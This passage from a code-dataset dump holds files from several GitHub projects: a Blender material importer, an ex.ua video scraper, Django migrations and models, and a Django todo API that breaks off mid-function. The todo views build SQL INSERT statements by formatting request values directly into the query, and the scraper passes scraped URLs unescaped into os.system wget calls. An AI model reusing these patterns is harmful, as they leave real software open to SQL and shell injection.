\"NONE\"\n\n node_uv = nodes.new(type='ShaderNodeUVMap')\n\n node_uv.uv_map = \"UVMap\"\n\n node_uv.location = -1200,yTex\n\n node_mapping = nodes.new(type='ShaderNodeMapping')\n\n\n node_mapping.scale = (scaleS,scaleT,1)\n\n node_mapping.location = -900,yTex\n\n textures[value] = node_normal\n\n links.new(node_uv.outputs[0], node_mapping.inputs[\"Vector\"])\n\n links.new(node_mapping.outputs[0], node_texture.inputs[\"Vector\"])\n\n links.new(node_texture.outputs[0], node_normal.inputs[1])\n\n links.new(node_normal.outputs[0], shaderInput)\n\n else:\n\n v = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\",value)\n\n if( len(v) != 3):\n print(v)\n print(\" parameter value\"+value+\" badly defined, expected 3 component!\")\n continue\n\n shaderInput.default_value[0] = float(v[0])\n shaderInput.default_value[1] = float(v[1])\n shaderInput.default_value[2] = float(v[2])\n\n else:\n print( \"Parameter \" + param + \" has an unsupported input type \" + shaderInput.type )\n\n def connectNodesBI( self, definition , shader, textures, nodes, links, geometryNode, BIMaterial, groupOutput ):\n\n def lin(x):\n a = 0.055\n if x <=0.04045 :\n y = x * (1.0 / 12.92)\n else:\n y = pow( (x + a) * (1.0 / (1 + a)), 2.4)\n return y\n\n #get global scale\n\n scaleS = 1\n\n scaleT = 1\n\n UVScaleVal = definition.get(\"UVScale\")\n\n if UVScaleVal is not None:\n\n st = self.cleanSpaces(UVScaleVal[UVScaleVal.find(\"(\")+1:UVScaleVal.find(\")\")])\n\n stv = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\",st)\n\n if( len(stv) != 2):\n print(stv)\n print(\" parameter value UVScale badly defined, expected 2 components!\")\n\n scaleS = float(stv[0])\n\n scaleT = float(stv[1])\n\n\n alphaConnected = False\n\n for param in definition:\n\n if param == \"Type\" : continue\n if param == \"ID\" : continue\n if param == \"Name\" : continue\n if param == \"UVScale\" : continue\n\n value = definition[param]\n\n\n if param == \"Transparency\":\n inputType = \"VALUE\"\n else:\n shaderInput = shader.inputs.get( param )\n if shaderInput is None:\n print(\" parameter \"+param+\" not found!\")\n continue\n inputType = shaderInput.type\n\n if inputType == \"RGBA\":\n\n if \"TextureColor(\" in value:\n\n value = self.cleanSpaces(value[value.find(\"TextureColor(\")+13:value.rfind(\")\")])\n\n node_texture = textures.get(value)\n\n if node_texture is None:\n\n nbTextures = len( textures )\n\n yTex = nbTextures * -300 + 300\n\n image = self.getImage( value )\n\n node_texture = nodes.new(type='ShaderNodeTexture')\n\n tex = self.BItextures.get(definition[\"Name\"])\n\n if tex is None:\n\n tex = bpy.data.textures.new(value,'IMAGE')\n\n tex.image = image\n\n self.BItextures[definition[\"Name\"]] = tex\n\n node_texture.texture = tex\n\n node_texture.location = -300, yTex\n\n geometryNode.uv_layer = \"UVMap\"\n\n node_mapping = nodes.new(type='ShaderNodeMapping')\n\n node_mapping.scale = (scaleS,scaleT,1)\n\n node_mapping.location = -900,yTex\n\n #UV OFFSET\n\n node_add_uv_offset = nodes.new(type='ShaderNodeVectorMath')\n\n node_add_uv_offset.operation = \"ADD\"\n\n setattr(node_add_uv_offset.inputs[1], 'default_value', [1.0, 1.0, 0.0])\n #\n node_add_uv_offset.location = -1100,yTex\n\n node_subs_uv_offset = nodes.new(type='ShaderNodeVectorMath')\n\n node_subs_uv_offset.operation = \"SUBTRACT\"\n\n setattr(node_subs_uv_offset.inputs[1], 'default_value', [1.0, 1.0, 0.0])\n\n node_subs_uv_offset.location = -500,yTex\n\n\n links.new(geometryNode.outputs[5], BIMaterial.inputs[\"Normal\"])\n\n\n #uv offset\n links.new(geometryNode.outputs[4], node_add_uv_offset.inputs[0])\n links.new(node_add_uv_offset.outputs[0], node_mapping.inputs[\"Vector\"])\n links.new(node_mapping.outputs[0], node_subs_uv_offset.inputs[0])\n links.new(node_subs_uv_offset.outputs[0], node_texture.inputs[\"Vector\"])\n\n textures[value] = node_texture\n\n links.new(node_texture.outputs[1], shader.inputs[0])\n\n links.new(node_texture.outputs[\"Value\"], groupOutput.inputs[\"Alpha\"], False)\n\n alphaConnected = True\n elif \"Color(\" in value:\n\n v = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\",value)\n\n if( len(v) != 3):\n print(v)\n print(\" parameter value\"+value+\" badly defined, expected 3 components!\")\n continue\n\n r = lin( float(v[0]) / 255 )\n g = lin( float(v[1]) / 255 )\n b = lin( float(v[2]) / 255 )\n\n if param == \"Color\":\n shader.material.diffuse_color[0] = r\n shader.material.diffuse_color[1] = g\n shader.material.diffuse_color[2] = b\n else:\n shaderInput.default_value[0] = r\n shaderInput.default_value[1] = g\n shaderInput.default_value[2] = b\n\n #\n #shaderInput.default_value[1] = lin( float(v[1]) / 255 )\n #shaderInput.default_value[2] = lin( float(v[2]) / 255 )\n\n else:\n\n print(\" parameter value \"+value+\" badly defined!\")\n continue\n\n elif inputType == \"VALUE\":\n\n if \"TextureAlpha(\" in value:\n\n value = self.cleanSpaces(value[value.find(\"TextureAlpha(\")+13:value.rfind(\")\")])\n\n node_texture = textures.get(value)\n\n if param == \"Transparency\":\n shader.material.use_transparency = True\n\n\n if node_texture is None:\n\n nbTextures = len( textures )\n\n yTex = nbTextures * -300 + 300\n\n image = self.getImage( value )\n\n node_texture = nodes.new(type='ShaderNodeTexture')\n\n tex = self.BItextures.get(definition[\"Name\"])\n\n if tex is None:\n\n tex = bpy.data.textures.new(value,'IMAGE')\n\n tex.image = image\n\n self.BItextures[definition[\"Name\"]] = tex\n\n\n\n node_texture.location = -300, yTex\n\n geometryNode.uv_layer = \"UVMap\"\n\n node_mapping = nodes.new(type='ShaderNodeMapping')\n\n\n\n node_mapping.scale = (scaleS,scaleT,1)\n\n node_mapping.location = -700,yTex\n\n #UV OFFSET\n\n node_add_uv_offset = nodes.new(type='ShaderNodeVectorMath')\n\n node_add_uv_offset.operation = \"ADD\"\n\n setattr(node_add_uv_offset.inputs[1], 'default_value', [1.0, 1.0, 0.0])\n #\n node_add_uv_offset.location = -1100,yTex\n\n node_subs_uv_offset = nodes.new(type='ShaderNodeVectorMath')\n\n node_subs_uv_offset.operation = \"SUBTRACT\"\n\n setattr(node_subs_uv_offset.inputs[1], 'default_value', [1.0, 1.0, 0.0])\n\n node_subs_uv_offset.location = -500,yTex\n\n textures[value] = node_texture\n\n\n #UV OFFSET\n\n node_add_uv_offset = nodes.new(type='ShaderNodeVectorMath')\n\n node_add_uv_offset.operation = \"ADD\"\n\n setattr(node_add_uv_offset.inputs[1], 'default_value', [1.0, 1.0, 0.0])\n #\n node_add_uv_offset.location = -1100,yTex\n\n node_subs_uv_offset = nodes.new(type='ShaderNodeVectorMath')\n\n node_subs_uv_offset.operation = \"SUBTRACT\"\n\n setattr(node_subs_uv_offset.inputs[1], 'default_value', [1.0, 1.0, 0.0])\n\n node_subs_uv_offset.location = -500,yTex\n\n\n links.new(geometryNode.outputs[5], BIMaterial.inputs[\"Normal\"])\n\n\n #uv offset\n links.new(geometryNode.outputs[4], node_add_uv_offset.inputs[0])\n links.new(node_add_uv_offset.outputs[0], node_mapping.inputs[\"Vector\"])\n links.new(node_mapping.outputs[0], node_subs_uv_offset.inputs[0])\n links.new(node_subs_uv_offset.outputs[0], node_texture.inputs[\"Vector\"])\n\n\n else:\n\n v = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\",value)\n\n\n\n if( len(v) != 1):\n print(v)\n print(\" parameter value\"+value+\" badly defined, expected 1 component!\")\n continue\n\n if param == \"Transparency\":\n shader.material.use_transparency = True\n shader.material.alpha = float(v[0])\n else:\n shaderInput.default_value = float(v[0])\n\n elif inputType == \"VECTOR\":\n\n if \"TextureNormal(\" in value:\n\n value = self.cleanSpaces(value[value.find(\"TextureNormal(\")+14:value.rfind(\")\")])\n\n node_normal = textures.get(value)\n\n if node_normal is None:\n\n nbTextures = len( textures )\n\n yTex = nbTextures * -300 + 300\n\n image = self.getImage( value )\n\n\n\n node_normal = nodes.new(type='ShaderNodeNormalMap')\n\n node_normal.location = -250, yTex\n\n\n node_texture = nodes.new(type='ShaderNodeTexImage')\n\n node_texture.image = image\n\n node_texture.location = -500, yTex\n\n node_texture.color_space = \"NONE\"\n\n node_uv = nodes.new(type='ShaderNodeUVMap')\n\n node_uv.uv_map = \"UVMap\"\n\n node_uv.location = -1200,yTex\n\n node_mapping = nodes.new(type='ShaderNodeMapping')\n\n\n node_mapping.scale = (scaleS,scaleT,1)\n\n node_mapping.location = -900,yTex\n\n textures[value] = node_normal\n\n links.new(node_uv.outputs[0], node_mapping.inputs[\"Vector\"])\n\n links.new(node_mapping.outputs[0], node_texture.inputs[\"Vector\"])\n\n links.new(node_texture.outputs[0], node_normal.inputs[1])\n\n links.new(node_normal.outputs[0], shaderInput)\n\n else:\n\n v = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\",value)\n\n if( len(v) != 3):\n print(v)\n print(\" parameter value\"+value+\" badly defined, expected 3 component!\")\n continue\n\n shaderInput.default_value[0] = float(v[0])\n shaderInput.default_value[1] = float(v[1])\n shaderInput.default_value[2] = float(v[2])\n\n else:\n print( \"Parameter \" + param + \" has an unsupported input type \" + shaderInput.type )\n\n if alphaConnected == False:\n\n links.new(BIMaterial.outputs[\"Alpha\"], groupOutput.inputs[\"Alpha\"], False)\n\n\n\n def createBIMaterials( self ):\n\n self.BItextures = {}\n\n #get material definitions\n\n materialDefinitions = self.parseMaterialDefinitions()\n\n materialGroups = {}\n\n self.internalBImaterialGroups = {}\n\n for key in self.materials:\n\n material = self.materials[key]\n\n temp = material.name.split(\"#\")\n\n frontMatId = int(temp[0]) + 1\n\n frontDef = materialDefinitions[frontMatId]\n\n newName = frontDef[\"Name\"]\n\n\n\n backDef = None\n\n if self.back_materials:\n\n backMatId = int(temp[1]) + 1\n\n backDef = materialDefinitions[backMatId]\n\n newName += \"/\"\n\n newName += backDef[\"Name\"]\n\n material.name = newName\n\n material.use_nodes = True\n\n nodes = material.node_tree.nodes\n\n #delete existing node and move output\n\n nodes.remove(nodes[\"Material\"])\n\n nodes[\"Output\"].location = (600,0)\n\n #add front material group\n\n textureNodes = {}\n\n frontShader = self.getMaterialGroupBI(frontMatId, frontDef, nodes, textureNodes)\n\n if self.internalBImaterialGroups[frontMatId].material.use_transparency == True:\n material.use_transparency = True\n material.use_cast_shadows = False\n #add texture to material if needed\n if self.BItextures.get(frontDef[\"Name\"]):\n mtex = material.texture_slots.add()\n mtex.texture = self.BItextures.get(frontDef[\"Name\"])\n\n frontShader.location = (0,150)\n\n if not self.back_materials:\n\n #link output\n\n material.node_tree.links.new(frontShader.outputs[0], nodes[\"Output\"].inputs['Color'])\n\n else:\n\n #create back shader and mix them based on the geometry\n\n backShader = self.getMaterialGroupBI(backMatId, backDef, nodes, textureNodes)\n\n if self.internalBImaterialGroups[backMatId].material.use_transparency == True :\n material.use_transparency = True\n material.use_cast_shadows = False\n\n if self.BItextures.get(backDef[\"Name\"]):\n mtex = material.texture_slots.add()\n mtex.texture = self.BItextures.get(backDef[\"Name\"])\n\n #backShader = nodes.new('ShaderNodeGroup')\n\n #backShader.node_tree = bpy.data.node_groups [backDef[\"Type\"]]\n\n backShader.location = (0,-150)\n\n #create geometry shader\n\n node_geometry = nodes.new('ShaderNodeGeometry')\n\n node_geometry.location = (0,500)\n\n #create mix shader\n\n node_backMix = nodes.new('ShaderNodeMixRGB')\n\n node_backMix.location = (350,0)\n\n #create mix shader for alpha\n\n node_backMix2 = nodes.new('ShaderNodeMixRGB')\n\n node_backMix2.location = (350,-250)\n\n #link\n\n material.node_tree.links.new(node_geometry.outputs[8], node_backMix.inputs[0])\n\n material.node_tree.links.new(frontShader.outputs[0], node_backMix.inputs[2])\n\n material.node_tree.links.new(backShader.outputs[0], node_backMix.inputs[1])\n\n material.node_tree.links.new(node_backMix.outputs[0], nodes[\"Output\"].inputs['Color'])\n\n material.node_tree.links.new(node_geometry.outputs[8], node_backMix2.inputs[0])\n\n material.node_tree.links.new(frontShader.outputs[1], node_backMix2.inputs[2])\n\n material.node_tree.links.new(backShader.outputs[1], node_backMix2.inputs[1])\n\n material.node_tree.links.new(node_backMix2.outputs[0], nodes[\"Output\"].inputs['Alpha'])\n\n\n def createCycleMaterials( self ):\n\n #get material definitions\n\n materialDefinitions = self.parseMaterialDefinitions()\n\n #create blendup standard material groups\n\n #self.createBlendUpAO()\n\n self.createBlendUpMonochrome()\n\n self.createBlendUpDiffuse()\n\n self.createBlendUpLight()\n\n self.createBlendUpGlass()\n\n self.createBlendUpGlossy()\n\n self.createBlendUpMixDiffuseGlossy()\n\n self.createBlendUpMixDiffuseGlossy2()\n\n self.createBlendUpFabric()\n\n #self.createBlendUpPBR()\n\n materialGroups = {}\n\n for key in self.materials:\n\n material = self.materials[key]\n\n temp = material.name.split(\"#\")\n\n frontMatId = int(temp[0]) + 1\n\n frontDef = materialDefinitions[frontMatId]\n\n newName = frontDef[\"Name\"]\n\n backDef = None\n\n if self.back_materials:\n\n backMatId = int(temp[1]) + 1\n\n backDef = materialDefinitions[backMatId]\n\n newName += \"/\"\n\n newName += backDef[\"Name\"]\n\n material.name = newName\n\n material.use_nodes = True\n\n nodes = material.node_tree.nodes\n\n #delete existing node and move output\n\n nodes.remove(nodes[\"Diffuse BSDF\"])\n\n nodes[\"Material Output\"].location = (600,0)\n\n #add front material group\n\n frontShader = self.getMaterialGroup(frontMatId, frontDef, nodes)\n\n #frontShader = nodes.new('ShaderNodeGroup')\n\n #frontShader.node_tree = bpy.data.node_groups [frontDef[\"Type\"]]\n\n #self.connectNodes(frontDef,frontShader,textureNodes, nodes, material.node_tree.links, True )\n\n frontShader.location = (0,150)\n\n if not self.back_materials:\n\n #link output\n\n material.node_tree.links.new(frontShader.outputs[0], nodes[\"Material Output\"].inputs['Surface'])\n\n else:\n\n #create back shader and mix them based on the geometry\n\n backShader = self.getMaterialGroup(backMatId, backDef, nodes)\n\n #backShader = nodes.new('ShaderNodeGroup')\n\n #backShader.node_tree = bpy.data.node_groups [backDef[\"Type\"]]\n\n backShader.location = (0,-150)\n\n #create geometry shader\n\n node_geometry = nodes.new('ShaderNodeNewGeometry')\n\n node_geometry.location = (0,500)\n\n #create mix shader\n\n node_backMix = nodes.new('ShaderNodeMixShader')\n\n node_backMix.location = (350,0)\n\n #link\n\n material.node_tree.links.new(node_geometry.outputs[6], node_backMix.inputs[0])\n\n material.node_tree.links.new(frontShader.outputs[0], node_backMix.inputs[1])\n\n material.node_tree.links.new(backShader.outputs[0], node_backMix.inputs[2])\n\n material.node_tree.links.new(node_backMix.outputs[0], nodes[\"Material Output\"].inputs['Surface'])\n\n #self.connectNodes(frontDef,frontShader,textureNodes, nodes, material.node_tree.links, True )\n\n #self.connectNodes(backDef,backShader,textureNodes, nodes, material.node_tree.links, False )\n"
},
{
"alpha_fraction": 0.8037037253379822,
"alphanum_fraction": 0.8074073791503906,
"avg_line_length": 29,
"blob_id": "78bb568960956cc08ed48abc37bb35df42a68ebc",
"content_id": "8e4ad430a6390a307ae0a6bd14b2168551543848",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 270,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 9,
"path": "/README.md",
"repo_name": "BlenderCN-Org/blendup_gpl_importer",
"src_encoding": "UTF-8",
"text": "BlenderUP GPL Importer Component\n(by http://sketchup2blender.com/blendup-get-started )\n\nGet their addon here:\nhttps://cgcookiemarkets.com/blender/all-products/blendup-sketchup-to-blender-converter/\n\n\n\nThis repository only exist so I can try playing with their importer.\n"
}
] | 2 |
mebius01/ex-ua-parser | https://github.com/mebius01/ex-ua-parser | 7847ab06567c6c43d0590e377eb30fb66e2b36c8 | 4e392744b51804a9d1a7aa3806636b24f4e962c9 | dd6146fc89d8ed34c2e313da9dcd3a572ff0787a | refs/heads/master | 2021-01-01T19:30:48.778860 | 2015-01-30T15:45:00 | 2015-01-30T15:45:00 | 13,364,996 | 0 | 1 | null | null | null | null | null | [
{
"alpha_fraction": 0.6451063752174377,
"alphanum_fraction": 0.6570212841033936,
"avg_line_length": 27.658536911010742,
"blob_id": "e6a78afcd57289ff413af93baff03a6288c05cec",
"content_id": "159db034203f38ecf9aa7e28bd00293de4bcb5ab",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1353,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 41,
"path": "/exparser.py",
"repo_name": "mebius01/ex-ua-parser",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport urllib, re, os\nhtml = raw_input('input url ex.ua :'); html=str(html)\nUrl_html=urllib.urlopen(html)\nRead_html=Url_html.read()\n\n#~ Парсим\nList_re=re.findall(\"[http://www.ex.ua/show/0-9abcdef0-9]+.flv\", Read_html)\nList_re_dir=re.findall(\"[0-9a-z]+.flv\", Read_html) \nTitle_re=re.search('(?<=<title>).*?(?=\\/)', Read_html).group()\nimage=re.search('(?<=\"cover\": \").*(?=\\/)', Read_html).group()\n#~ Создать директорию. Перейти в директорию\nos.mkdir(Title_re)\nos.chdir(Title_re)\n#~ Формируем 'читабельное +.flv' имя файла и добавляем в список \nlist_title=[]\ndef ForTitle():\n\tran=range(len(List_re)+1); ran.pop(0)\n\tfor i in ran:\n\t\ti=str(i)\n\t\tlist_title.append(i+'-'+Title_re+'.flv')\n\treturn list_title\n\nForTitle() # обязательно вызвать!!!\n#~ - первый элемент из списка с url. Скачиваем\ndef FunWget(who):\n\tvar_who=who.pop(0)\n\tos.system('wget %s' %var_who)\n#~ элемент из списка с hash-name rename в читабельное +.flv\ndef RenaMe(x, y):\n\tp_x=x.pop(0) \n\tp_y=y.pop(0)\n\tos.rename(p_x, p_y)\n#~ Скачиваем, rename в цикле \nint=0\nwhile int != len(List_re):\n\tFunWget(List_re)\n\tRenaMe(List_re_dir, list_title)\n\tint+1\nos.system('wget %s' %image)\n"
}
] | 1 |
DevanshSoni/RESTAPI_USING_Django | https://github.com/DevanshSoni/RESTAPI_USING_Django | 545200c507e5637dd58bc510f9a18a400b2b598a | bbcfd98e08f64ff48d9490c4fe35b1d2f7a76d38 | 03cdf14d51ffbec9366c72700b42bf1c4f226024 | refs/heads/master | 2021-07-09T17:30:29.414205 | 2019-08-14T18:40:36 | 2019-08-14T18:40:36 | 202,404,412 | 1 | 1 | null | 2019-08-14T18:26:24 | 2019-08-14T18:40:39 | 2019-08-14T18:40:37 | Python | [
{
"alpha_fraction": 0.4843462109565735,
"alphanum_fraction": 0.5451197028160095,
"avg_line_length": 22.68181800842285,
"blob_id": "18508497014bab78e970fb5d62b74a1d0a9d94b2",
"content_id": "d3e69c8061f90844ad8ca42d06343ca4b296ab20",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 543,
"license_type": "no_license",
"max_line_length": 85,
"num_lines": 22,
"path": "/REST_api_UsingDjango/tech_youth_api/techAPI/webapp/migrations/0005_auto_20190806_1216.py",
"repo_name": "DevanshSoni/RESTAPI_USING_Django",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.3 on 2019-08-06 06:46\r\n\r\nfrom django.db import migrations, models\r\n\r\n\r\nclass Migration(migrations.Migration):\r\n\r\n dependencies = [\r\n ('webapp', '0004_auto_20190806_1215'),\r\n ]\r\n\r\n operations = [\r\n migrations.RemoveField(\r\n model_name='user',\r\n name='user_id',\r\n ),\r\n migrations.AlterField(\r\n model_name='user',\r\n name='emailid',\r\n field=models.CharField(max_length=40, primary_key=True, serialize=False),\r\n ),\r\n ]\r\n"
},
{
"alpha_fraction": 0.5544000267982483,
"alphanum_fraction": 0.5839999914169312,
"avg_line_length": 31.783782958984375,
"blob_id": "1a3d1620b1b2a42d5fd9982b9e0b091505233308",
"content_id": "c9faf712b693f105daf332e9de5d5af8ffc8e126",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1250,
"license_type": "no_license",
"max_line_length": 149,
"num_lines": 37,
"path": "/REST_api_UsingDjango/tech_youth_api/techAPI/webapp/migrations/0006_auto_20190806_2208.py",
"repo_name": "DevanshSoni/RESTAPI_USING_Django",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.3 on 2019-08-06 16:38\r\n\r\nfrom django.db import migrations, models\r\nimport django.db.models.deletion\r\nimport django.utils.timezone\r\n\r\n\r\nclass Migration(migrations.Migration):\r\n\r\n dependencies = [\r\n ('webapp', '0005_auto_20190806_1216'),\r\n ]\r\n\r\n operations = [\r\n migrations.AddField(\r\n model_name='interest',\r\n name='temp_id',\r\n field=models.ForeignKey(default=django.utils.timezone.now, max_length=40, on_delete=django.db.models.deletion.PROTECT, to='webapp.user'),\r\n preserve_default=False,\r\n ),\r\n migrations.AddField(\r\n model_name='user',\r\n name='user_id',\r\n field=models.AutoField(default=django.utils.timezone.now, max_length=40, primary_key=True, serialize=False),\r\n preserve_default=False,\r\n ),\r\n migrations.AlterField(\r\n model_name='interest',\r\n name='id',\r\n field=models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID'),\r\n ),\r\n migrations.AlterField(\r\n model_name='user',\r\n name='emailid',\r\n field=models.CharField(max_length=40, unique=True),\r\n ),\r\n ]\r\n"
},
{
"alpha_fraction": 0.6979866027832031,
"alphanum_fraction": 0.7114093899726868,
"avg_line_length": 35.25,
"blob_id": "ed47f59e69d19f7978d81d9154dab8761a6ce2d1",
"content_id": "675fc9b2be5fdd9107144c7051413f908f0a754d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 298,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 8,
"path": "/REST_api_UsingDjango/tech_youth_api/techAPI/webapp/interestModel.py",
"repo_name": "DevanshSoni/RESTAPI_USING_Django",
"src_encoding": "UTF-8",
"text": "from django.db import models\r\n# import datetime\r\nfrom .userModel import *\r\nclass interest(models.Model):\r\n temp_id=models.ForeignKey(to=user,max_length=40,on_delete=models.PROTECT)\r\n InterestArea=models.CharField(max_length=40)\r\n def __str__(self):\r\n return f\"{self.InterestArea}\"\r\n"
},
{
"alpha_fraction": 0.761904776096344,
"alphanum_fraction": 0.761904776096344,
"avg_line_length": 26,
"blob_id": "2b025a134851ddcff9aaee02f921963592723cc5",
"content_id": "9379b341f3fc327561ea85443b88fd226e535621",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 252,
"license_type": "no_license",
"max_line_length": 36,
"num_lines": 9,
"path": "/REST_api_UsingDjango/tech_youth_api/techAPI/webapp/admin.py",
"repo_name": "DevanshSoni/RESTAPI_USING_Django",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\r\n# from . models import *\r\nfrom . interestModel import interest\r\nfrom . userModel import user\r\n# Register your models here.\r\n\r\nadmin.site.register(user)\r\nadmin.site.register(interest)\r\n# admin.site.register(questions)\r\n"
},
{
"alpha_fraction": 0.6915422677993774,
"alphanum_fraction": 0.711442768573761,
"avg_line_length": 34.727272033691406,
"blob_id": "113d6211d95aed3939045ea95f794ff78ad25104",
"content_id": "6ca6b2b307eadfeba558106a6ca6580fb7a6f03f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 402,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 11,
"path": "/REST_api_UsingDjango/tech_youth_api/techAPI/webapp/userModel.py",
"repo_name": "DevanshSoni/RESTAPI_USING_Django",
"src_encoding": "UTF-8",
"text": "from django.db import models\r\n# import datetime\r\nfrom . interestModel import *\r\n# Create your models here.\r\nclass user(models.Model):\r\n user_id=models.AutoField(primary_key=True,max_length=40)\r\n username=models.CharField(max_length=40)\r\n emailid=models.CharField(unique=True,max_length=40)\r\n password=models.CharField(max_length=40)\r\n def __str__(self):\r\n return f\"{self.emailid}\""
},
{
"alpha_fraction": 0.47512438893318176,
"alphanum_fraction": 0.5572139024734497,
"avg_line_length": 20.33333396911621,
"blob_id": "3aec3414adc3eb833f982105dff7c22a0f5b9264",
"content_id": "a227b4b84c0a5fef9fb514e64009585996a26ad0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 402,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 18,
"path": "/REST_api_UsingDjango/tech_youth_api/techAPI/webapp/migrations/0004_auto_20190806_1215.py",
"repo_name": "DevanshSoni/RESTAPI_USING_Django",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.3 on 2019-08-06 06:45\r\n\r\nfrom django.db import migrations, models\r\n\r\n\r\nclass Migration(migrations.Migration):\r\n\r\n dependencies = [\r\n ('webapp', '0003_auto_20190806_1213'),\r\n ]\r\n\r\n operations = [\r\n migrations.AlterField(\r\n model_name='user',\r\n name='emailid',\r\n field=models.CharField(max_length=40),\r\n ),\r\n ]\r\n"
},
{
"alpha_fraction": 0.5185185074806213,
"alphanum_fraction": 0.5386473536491394,
"avg_line_length": 27.571428298950195,
"blob_id": "7b4aa6d723cf9a34bd63d62e996659abd97972d6",
"content_id": "19e9c3adce38551277b8abe4ce88540f5026ff32",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1242,
"license_type": "no_license",
"max_line_length": 120,
"num_lines": 42,
"path": "/REST_api_UsingDjango/tech_youth_api/techAPI/webapp/migrations/0003_auto_20190806_1213.py",
"repo_name": "DevanshSoni/RESTAPI_USING_Django",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.3 on 2019-08-06 06:43\r\n\r\nfrom django.db import migrations, models\r\nimport django.utils.timezone\r\n\r\n\r\nclass Migration(migrations.Migration):\r\n\r\n dependencies = [\r\n ('webapp', '0002_questions_time_and_date'),\r\n ]\r\n\r\n operations = [\r\n migrations.RenameField(\r\n model_name='interest',\r\n old_name='interest',\r\n new_name='InterestArea',\r\n ),\r\n migrations.RemoveField(\r\n model_name='interest',\r\n name='emailid',\r\n ),\r\n migrations.AddField(\r\n model_name='user',\r\n name='user_id',\r\n field=models.CharField(default=django.utils.timezone.now, max_length=40, primary_key=True, serialize=False),\r\n preserve_default=False,\r\n ),\r\n migrations.AlterField(\r\n model_name='interest',\r\n name='id',\r\n field=models.CharField(max_length=40, primary_key=True, serialize=False),\r\n ),\r\n migrations.AlterField(\r\n model_name='user',\r\n name='emailid',\r\n field=models.CharField(max_length=40, unique=True),\r\n ),\r\n migrations.DeleteModel(\r\n name='questions',\r\n ),\r\n ]\r\n"
}
] | 7 |
debasmitadasgupta/Assignment | https://github.com/debasmitadasgupta/Assignment | 1459a97f47564e7ba8bc5acab957ddc145cfe811 | 2de0589f747e1763ae0ea9acdc52f9c277a1f2cb | b6ac87ae96de423396220aa656319f897558a560 | refs/heads/master | 2021-07-06T02:52:07.816453 | 2019-11-04T09:24:57 | 2019-11-04T09:24:57 | 219,358,545 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7226890921592712,
"alphanum_fraction": 0.7226890921592712,
"avg_line_length": 12.222222328186035,
"blob_id": "17f904d7d301efe5601232b7a4626690e7310567",
"content_id": "f35004e500b817af18bbc89f600e2b62118d4c37",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 119,
"license_type": "no_license",
"max_line_length": 29,
"num_lines": 9,
"path": "/Readme.md",
"repo_name": "debasmitadasgupta/Assignment",
"src_encoding": "UTF-8",
"text": "To run the django code\na. cd mysite\nb. python manage.py runserver\n\n\nTo run the UI\na. cd UI\nb. npm install\nc. npm start\n"
},
{
"alpha_fraction": 0.677736759185791,
"alphanum_fraction": 0.6841943264007568,
"avg_line_length": 33.4361686706543,
"blob_id": "f7ca2bd42cd27bf2467e8b80359ec0f04cd3d304",
"content_id": "188e0a1f23d3f520b9ba3186876f517b858aef4a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3252,
"license_type": "no_license",
"max_line_length": 173,
"num_lines": 94,
"path": "/mysite/todo/views.py",
"repo_name": "debasmitadasgupta/Assignment",
"src_encoding": "UTF-8",
"text": "\n# todo/views.py\n\n# from django.shortcuts import render\nfrom rest_framework import viewsets # add this\nfrom .serializers import TodoSerializer,BucketSerializer # add this\n# from .models import Todo # add this\n#\n # add this\n# queryset = Todo.objects.all() # add this\n\nfrom django.db import connection\n\nfrom django.shortcuts import render\nfrom .models import Todo,Bucket,User\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\n\n\n# Create your views here.\nfrom django.http import HttpResponse, HttpRequest\nfrom django.core import serializers\nimport json\n\n\ndef index(request):\n return HttpResponse(\"Hello, world. You're at the todos index.\")\n\n\ndef get_todos(request):\n qs=Todo.objects.raw(\"SELECT * FROM todo_todo\")\n serializer = TodoSerializer(qs,many=True)\n # print(serializer.data)\n # qs_json = serializers.serialize('json', qs)\n output_dict = json.loads(json.dumps(serializer.data))\n print(output_dict)\n return HttpResponse(json.dumps(output_dict), 200)\n\ndef add_todo(request):\n params=json.loads(request.body)\n print(params)\n title = params['title']\n description =params['description']\n completed =params['completed']\n bucket_id =int(params['bucket_id'])\n with connection.cursor() as cursor:\n cursor.execute(\"INSERT INTO todo_todo (title,description,completed,bucket_id) VALUES ('{}','{}',{},{})\".format(title,description,completed,bucket_id))\n return HttpResponse(\"Success\",200)\n\n\ndef get_buckets(request):\n qs=Bucket.objects.raw(\"SELECT * FROM todo_bucket\")\n serializer = BucketSerializer(qs,many=True)\n output_dict = json.loads(json.dumps(serializer.data))\n print(output_dict)\n return HttpResponse(json.dumps(output_dict), 200)\n\n@api_view(['POST'])\ndef add_bucket(request):\n params=json.loads(request.body)\n print(params)\n bucket_name = params['bucket_name']\n 